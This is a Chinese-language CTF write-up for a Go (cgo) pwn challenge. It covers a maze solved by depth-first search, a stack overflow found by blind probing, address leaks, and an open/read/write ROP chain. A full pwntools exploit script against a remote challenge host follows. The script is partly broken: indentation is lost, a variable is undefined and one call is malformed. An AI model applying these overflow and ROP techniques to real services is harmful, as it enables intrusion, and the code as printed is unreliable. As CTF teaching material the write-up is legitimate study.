拿到二进制后先解UPX,解完后发现程序还是很复杂,发现是cgo,做题的时候不知道有没有这种的插件支持,问了下做逆向的队友,似乎插件版本没有更新到这个版本,静态分析没有进展,先看看远程服务是跑啥的。
一个迷宫,走到旗子的位置就行了,一共100关,一波深搜就行了,解决了100关后出现了。
在二进制中搜索字符串无果,就当blind pwn做了,输入name后程序就退出了,可能存在的漏洞格式化字符串以及溢出,尝试发现没有格式化字符串漏洞,然后尝试溢出。当输入了0x78个字符后发现出现了报错信息。这里报错信息还是很多的应该和go有关系,C的报错才不会和你多bb
io.sendline('b'*0x10+'a'*0x60+p64(0xdeadbeef))
报错信息为unexpected fault address,addr是0xdeadbeef,然后尝试只溢出一个字节。
io.sendline('b'*0x10+'a'*0x60+p8(0x10))
发现没有报错,但是输出数据出现奇怪的东西。
于是猜测这个地址是存放输入字符串的位置,所以这边存在一个任意地址读,但只有一个这个没啥用,还要继续往后溢出,但是这里输出的指针需要输入一个合法的地址,注意到上面报错中有fp,sp两个值是比较奇怪的地址,在本地测试发现进程中存在这一块地方的内存。在fp指向的地址附近测试,找到了输入数据的位置。多次测试发现这块内存空间的地址不会随机化。
io.sendline('b'*0x10+'a'*0x60+p64(0xc000049d70))
继续往后溢出。
io.sendline('b'*0x10+'a'*0x60+p64(0xc000049d70)+p64(0x20)+p64(0x20)+'a'*0x88+p64(0xdeadbeef))
这时发现报错信息中pc变成了0xdeadbeef那么这里很有可能是函数的返回地址,那么溢出一个字节尝试,发现’\xce’可以返回到input name的那个逻辑中,并且从报错信息中可以bypass aslr,那就可以进一步利用了,剩下的就是基础的ROP了。在做题中发现system(’/bin/sh’)无法getshell。尝试orw,这里有个需要注意的地方,在read的时候文件描述符3无法正确地读出flag的值。本地调试查看fdinfo发现fd是6。
from pwn import *
io=remote('81.68.174.63',62176)
ELF('./pwn')
#io=process('./pwn')
libc=ELF('./libc-2.31.so')
#libc=ELF('./libc-2.23.so')
def check_valid(mg, x, y):
if x >= 0 and x < len(mg) and y >= 0 and y < len(mg[0]) and mg[x][y] == 1:
return True
else:
return False
for k in range(100):
io.recvuntil('level')
io.recvline()
line=io.recvline()
line1=[]
for i in range(0,len(line[:-1]),3):
line1.append(line[i]+line[i+1]+line[i+2])
msg=[]
t=[]
for i in line1:
if i=='\xe2\xac\x9b':
t.append(0)
msg.append(t)
dstx=0
dsty=0
srcx=0
srcy=0
for j in range(len(line1)-1):
t=[]
line=io.recvline()
linen=[]
i=0
while line[i]!='\n':
if line[i]=='\xe2':
if (line[i]+line[i+1]+line[i+2])=='\xe2\xac\x9b':
t.append(0)
else:
t.append(1)
i+=3
else:
if (line[i]+line[i+1]+line[i+2]+line[i+3])=='\xf0\x9f\x9a\xa9':
t.append(1)
srcx=len(msg)
srcy=len(t)-1
else :
t.append(1)
dstx=len(msg)
dsty=len(t)-1
i+=4
msg.append(t)
path=""
def walk(mg, x, y,path):
s=path
if x == srcx and y == srcy:
io.sendline(s)
if check_valid(mg, x, y):
mg[x][y] = 2
walk(mg, x, y+1,s+'d')
walk(mg, x, y-1,s+'a')
walk(mg, x-1, y,s+'w')
walk(mg, x+1, y,s+'s')
walk(msg, dstx, dsty,path)
io.recvuntil('your name:')
io.sendline('b'*0x10+'a'*0x60+p64(0xc000049d70)+p64(0x20)+p64(0x20)+'a'*0x88+p8('\xce')))
io.recvuntil('Your name is : ')
base=u64(io.recv(8))-0x1666c0
print(hex(base))
print(hex(u64(io.recv(8))))
print(hex(u64(io.recv(8))))
print(hex(u64(io.recv(8))))
start_main=base+0x01EEFD0
io.sendline('b'*0x10+'a'*0x60+p64(start_main)+p64(0x20)+p64(0x20)+'a'*0x88+'\xce')
io.recvuntil('Your name is : ')
start_main_add=u64(io.recv(8))
libc_base=start_main_add-libc.sym['__libc_start_main']
print(hex(libc_base))
pop_rdi=base+0x0109d3d
pop_rsi=libc_base+0x27529
pop_rdx=libc_base+0x011c1e1
write=libc_base+libc.sym['write']
fopen=libc_base+libc.sym['open']
read=libc_base+libc.sym['read']
ddir=libc_base+libc.sym['getdents64']
bss=base+0x21B9CD
main=base+0x1197CE
io.sendline('b'*0x10+'a'*0x60+p64(free_got)+p64(0x20)+p64(0x20)+'a'*0x88+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(100)+p64(0)+p64(read)+p64(pop_rdi)+p64(bss)+p64(pop_rsi)+p64(0)+p64(fopen)+p64(pop_rdi)+p64(6)+p64(pop_rsi)+p64(bss+0x100)+p64(pop_rdx)+p64(4096)+p64(0)+p64(read)+p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(bss+0x100)+p64(pop_rdx)+p64(4096)+p64(0)+p64(write)+p64(main))
io.sendline('/flag\x00')
io.interactive()